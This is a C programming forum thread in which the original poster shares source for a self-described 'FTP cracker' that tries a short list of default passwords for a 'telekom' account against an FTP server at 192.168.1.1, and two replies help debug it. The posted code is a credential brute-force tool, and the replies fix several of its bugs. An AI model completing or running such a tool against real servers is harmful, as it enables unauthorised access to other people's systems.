Thread: FTP error?

  1. #1
    Registered User
    Join Date
    May 2015
    Posts
    5

    FTP error?

    I am making FTP cracker and FTP dont recognize my inputs, and I dont know what am I doing it wrong.

    Code:
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    
    struct sockaddr_in serv_addr;
    char sendBuffer[128];
    char recvBuffer[1024];
    char* attempt;
    char* user = "telekom";
    char* passwords[10] = {"admin", "administrator", "password123", "telekom", "sifra123"};
    int sock = 0;
    int recived = 0;
    
    char* connectToFTP(char* _user, char* _password){
        char userBuffer[128];
        strcpy(userBuffer, "");
        strcat(userBuffer, "\r\n");
        strcat(userBuffer, "USER ");
        strcat(userBuffer, _user);
        
        char passBuffer[128];
        strcpy(passBuffer, "");
        strcat(passBuffer, "\r\n");
        strcat(passBuffer, "PASS ");
        strcat(passBuffer, _password);
        
        char endBuffer[32] = "QUIT\r\n";
        
        sock = socket(AF_INET, SOCK_STREAM, 0);
        
        printf("\nTrying: ");
        printf("%s", userBuffer);
        printf("%s", passBuffer);
        printf("\n >>> %s", attempt);
        printf("\n-----------------------\n");
        
        connect(sock, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
    
        recived = recv(sock, recvBuffer, sizeof(recvBuffer), 0);
        recvBuffer[recived] = 0; // flush
        
        // USER
        sendto(sock, userBuffer, sizeof(userBuffer), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
        
        recived = recv(sock, recvBuffer, sizeof(recvBuffer), 0);
        recvBuffer[recived] = 0; // flush
        
        // PASS
        sendto(sock, passBuffer, sizeof(passBuffer), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
        
        recived = recv(sock, recvBuffer, sizeof(recvBuffer), 0);
        recvBuffer[recived] = 0; // flush
        
        // END
        sendto(sock, endBuffer, sizeof(endBuffer), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
        
        return recvBuffer;
    }
    
    int main(int argc, char** args){
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(21);
        serv_addr.sin_addr.s_addr = inet_addr("192.168.1.1"); 
        
        int i;
        char* passLength;
        memset(passLength, '1', sizeof(passwords));
        for(i = 0; i <= sizeof(passLength); i++){
            attempt = connectToFTP(user, passwords[i]);
            //printf(", %s", attempt);
            if(attempt == "230") {
                printf("Password Found: %s", passwords[i]);
                break;
            }
        } close(sock);
        
        return 0 ;
    }

  2. #2
    Registered User
    Join Date
    Aug 2010
    Location
    Poland
    Posts
    733
    How doesn't it recognize input? Do you intend to implement FTP, SFTP, or FTP over TLS (looking at the code FTP, but who knows what server you hosted on your local machine)? Is connection at least established? (I cannot see any error handling.) If not, first check if it is established. Then check if the data is correctly transmitted, e.g., with the "netcat" utility listening on a given port.

    I am not an FTP expert, but I would also try with Unix line ends ("\n" instead of "\r\n").
    Last edited by kmdv; 03-12-2016 at 01:52 PM.

  3. #3
    Registered User
    Join Date
    Jun 2015
    Posts
    1,640
    This is wrong. passLength has no allocated space. It's not even inititalized to NULL so it's pointing at an arbitrary location.
    Code:
        char* passLength;
        memset(passLength, '1', sizeof(passwords));
    This is not how you compare strings:
    Code:
            if (attempt == "230")
    That will never be true. You mean
    Code:
            if (strcmp(attempt, "230") == 0)
    This part can be simplified quite a bit:
    Code:
        char userBuffer[128] = "\r\nUSER ";
        strcat(userBuffer, _user);
    And "recived" is not a word.

    Also, sizeof(passLength) will always be just the size of the pointer itself, either 4 or 8 (depending on whether your system is 32 or 64 bits).
    Last edited by algorism; 03-12-2016 at 02:02 PM.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Replies: 2
    Last Post: 02-20-2016, 10:31 AM
  2. Compile error? Logic error? Syntax Error? Please help
    By Khody Afkhami in forum C Programming
    Replies: 4
    Last Post: 10-11-2014, 01:36 AM
  3. Replies: 6
    Last Post: 10-29-2012, 03:33 AM
  4. Replies: 4
    Last Post: 07-24-2011, 09:38 PM
  5. Replies: 3
    Last Post: 10-02-2007, 09:12 PM

Tags for this Thread